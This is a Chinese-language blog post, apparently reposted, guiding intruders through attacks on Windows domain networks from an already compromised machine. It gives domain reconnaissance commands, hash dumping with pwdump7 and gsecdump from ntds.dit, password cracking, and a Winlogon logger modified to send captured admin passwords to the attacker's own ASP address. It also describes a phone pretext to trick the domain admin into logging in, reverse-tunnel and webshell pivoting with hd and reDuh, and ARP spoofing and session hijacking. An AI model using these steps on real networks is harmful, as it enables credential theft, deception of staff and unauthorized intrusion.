域環境下的滲透

在進行內網滲透,尤其是在比較大型的網絡環境下,很可能會遇到域這樣一種特殊的網絡環境,而在域環境下的內網滲透又將是另外一片天地。
首先還是先簡要看一下域的概念吧:
 (Domain)是Windows網絡中獨立運行的單位,域之間相互訪問則需要建立信任關係(即TrustRelation)。信任關係是連接在域與域之間的橋樑。當一個域與其他域建立了信任關係後,2個域之間不但可以按需要相互進行管理,還可以跨網分配文件和打印機等設備資源,使不同的域之間實現網絡資源的共享與管理。
域既是 Windows 網絡操作系統的邏輯組織單元,也是Internet的邏輯組織單元,在 Windows網絡操作系統中,域是安全邊界。域管理員只能管理域的內部,除非其他的域顯式地賦予他管理權限,他才能夠訪問或者管理其他的域;每個域都有自己的安全策略,以及它與其他域的安全信任關係。

通過上述的瞭解,我們可以知道域管理員的權限是相當大的,域管理員可以通過持有域的登陸票據從而實現對域內各個計算機的遠程管理,即有權限登陸任何一臺機器。那麼在滲透的過程中我們就可以通過某種方式記錄下管理員登陸的密碼,當然了,這只是其中的一種思路。

獲得一臺內網或域中的肉雞之後,先來查看一下當前的網絡環境,執行:

net view

即可獲得一系列主機名,並且可以通過Ping其機器名得到其IP地址,不過注意到列出的機器名只是在網絡結構中有聯繫的,而不一定就在同一內網或域中。
執行

ipconfig /all

來查看是否存在域環境,倘若存在的話則可以繼續執行:

net user /domain

來查看域內都有哪些用戶,還可以查看指定域內都有哪些計算機:

net view /domain:testdomain      (testdomain 假設爲目標的其中一個域)

查看域內的管理員用戶則可以執行:

net group "domain admins" /domain

還可以通過命令:

net user domain-admin /domain

查看管理員登陸時間,密碼過期時間,是否有登陸腳本,組分配等信息。
一般在正式進攻之前還是多多掌握一些網絡的信息爲好,可以通過遍歷管理員的文件從中獲取可能的隱私信息,信息越多越好,其次就是抓取本機的hash值,這裏可以用到一個工具:pwdump7.exe
用這個來抓hash很簡單,命令行下直接執行即可,將hash導出到文本的命令爲:

pwdump7.exe>1.txt

得到hash之後就可以用工具諸如lc5,rainbowcrack,saminside,ophcrack之類的去破解了,運氣好的話能破解出來了就可以利用這個密碼嘗試登陸內網的其他機器了,當然了,權限到底大不大那隻能看運氣了。這裏還介紹另外一個域滲透中的利器:gsecdump
好處就在於能從域服務器密碼存儲文件

windowsntdsntds.dit

中導出所有域用戶hash的工具,並能從活動進程中導出hash。而且只要有一個本地管理員權限利用hash注入能開啓域管理員進程,方便域滲透。命令行下的東西,看看說明就知道怎麼用了。
還可以通過記錄域管理員登陸該主機密碼來獲取信息,這裏用到一個小工具:Winlogon
可以截獲登陸本機3389的密碼,當然了也可以截獲域管理員登陸的密碼了,至於如何讓域管理員登陸此機,有可能需要一段漫長的等待,或許管理員有個固定的週期來登陸例行檢查,或者你也可以製造個謊情來欺騙域管理員的登陸,以前就有哥們冒充服務器管理員給域管理員撥通了電話謊稱服務器中了病毒無法清除請他來幫忙,域管理員沒來得及多想就登陸進來了,結果可想而知,密碼成功被記錄!當然了,更多的方法還是要靠大家自己去想了,呵呵。
由於Winlogon只能將密碼記錄在本機,因爲不知道管理員什麼時候登陸進來,於是我們可以利用網上有人改造過的可以Asp發信的版本,直接將截獲的用戶名和密碼發送至自己的Asp收信地址了。不過好像僅適用於Win2003系統。
使用方法爲:運行 Loader.exe 填入自己的收信地址之後就會生成CreateServer.exe,將Asp傳到服務器,然後在肉雞上運行密碼記錄器即可,post.asp會在你的URL地址下生成key.txt。

前期準備告一段落了,接下來可以開始正式的滲透了。
一般情況下,內網中可能存在相當一部分存在弱口令或者有着溢出機會的機子,溢出不失爲一個好主意,不過要注意到,雖然服務器已經被我們拿下了並且遠程登陸上了,但是不一定所有的工作都必須在登陸界面進行,這樣很有可能被管理員發現,或者產生其他未知的問題,而且有的時候要是工具們過於龐大的話也不便直接傳上去,那麼可以先利用端口轉發,VPN之類的隧道技術將入侵環境移植到本地遠程滲透上面來,這裏可以用到幾種利器:
ncph的hd (Lcx也行,類似)
適用於防火牆阻止外部鏈接,雙向外網的情況下。本機執行命令:

hd -s listen 53 1180

意思是將連接進來的53端口的數據轉發到1180端口。
在肉雞上運行:

hd -s -connect XX.XX.XX.XX 53    (XX.XX.XX.XX 爲自己IP)

本機即可收到反彈回來的代理的情況。接下來就可以在SocksCap裏面具體設置了,當然先要裝上SocksCap,之後的sockets控制檯設置如圖:
socks
連接之後就可以大膽的撒開手去幹了,工具之類的可以直接拖進控制檯界面。
reDuh(Webshell下的跳板)
適用於webshell下用,支持aspx,php,jsp,可以把內網服務器的端口通過 http/https隧道轉發到本機,形成一個連通迴路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。服務端是個webshell(針對不同服務器有aspx,php,jsp三個版本),客戶端是java寫的,本機執行最好裝上JDK。
webshell傳好之後,命令行下執行:

reDuhClient 目標服務器域名 http 80 /WEBSHELL路徑/reDuh.aspx

然後本機用NC連接1010端口:

nc -vv localhost 1010

連接成功會有歡迎提示,之後輸入命令

[createTunnel]1234:XX.XX.XX.XX:3389   (XX.XX.XX.XX 爲肉雞IP 或者域名)

即可將遠程3389端口轉發至本機1234端口,通道建立之後直接mstsc連接本機1234即可。
另外提供reDuh的GUI版本,無需本機安裝JDK的支持就可以用了。

一切連接就緒之後,入侵可以開始實施了,常用的方法大概有幾種:
溢出:
前面說了內網中出現弱口令和溢出可能性的概率是比較大的,那麼就可以使用常見的溢出手法來進行攻擊,(過一段時間再蒐集一些常用的溢出手法以饗觀衆)可以使用端口掃描器掃描內網中其他機器的端口,通過弱口令之類的加以利用,這個的成功性就不好說了,要視情況而定,通常情況下都是比較繁瑣一點的,因爲現在大多數的計算機都是滿載着補丁而行的,溢出的成功率已遠不如從前那個溢出橫行的時代了,不過這也不失爲一種方法罷了。
欺騙:
欺騙分爲很多種,有ARP欺騙,DNS欺騙,主動與被動會話劫持之類的。前兩者可以利用強大的Cain來加以實現,至於Cain的具體用法就不多說了,Google一下,你就知道。而對於會話劫持,涉及到TCP/IP原理部分,而且由於其主要實現環境在linux下,本人也不太懂=.= ,於是這裏只是簡要介紹一下了.
TCP使用端到端的連接,在數據傳輸中需要提供兩段序列號:
字段序號(seq)和確認序號(ackseq)。
seq指出了本報文中傳送的數據在發送主機所要傳送的整個數據流中的順序號,ackseq指出了發送本報文的主機希望接收的對方主機中下一個八位組的順序號,兩者之間的相互關係爲:
要發出的報文中的seq值應等於它所剛收到的報文中的ackseq的值;
要發送報文中ackseq的值應爲它所收到報文中seq的值加上該報文中所發送的TCP淨荷的長度。
會話劫持者所需要做的就是窺探到正在進行TCP通信的兩臺主機之間傳送的報文,得知該報文的源IP、源TCP端口號、目的IP、目的TCP端號,從而可以得知其中一臺主機對將要收到的下一個TCP報文段中seq和ackseq值的要求,於是搶先向被攻擊主機發送惡意的帶有淨荷的TCP報文獲取會話的主動權,從而避開了被攻擊主機對訪問者的身份驗證和安全認證。
不過其中要注意的就是如果會話中的主機發現所收到的數據包不是期望值的時候,那麼就會用自己期望的序列號發送ACK包[ACK:期望收到對方數據包中第一個字節的序號],那麼對方所收到的也將不是期望值,就會再次以自己期望的序列號返回ACK包,周而復始形成ACK風暴(Strom),從而造成數據流的堵塞,這樣就不好了,所以事先要通過ARP欺騙實施包轉發之後再進行會話劫持。
那麼會話劫持的主要工具包括:arpspoof、fragrouter 和 hunt。
Arpspoof:ARP欺騙用
Fragrouter:包轉發用
Hunt:會話劫持用  [Linux下]
至於詳細操作步驟就不細說了,用的時候自己查閱便是了。

總結:內網域滲透很好很強大!如此高深的滲透技巧遠不是本文這寥寥幾句所能道得清的,這裏這是略微總結一下內網滲透的基本技巧,更多的知識還要靠自己在實戰中去挖掘,去體會,其實內網滲透是一個灰常艱苦的活兒,也只有實踐才能出真知,堅持才能得勝利!




http://blog.sina.com.cn/s/blog_515526710100tcuz.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章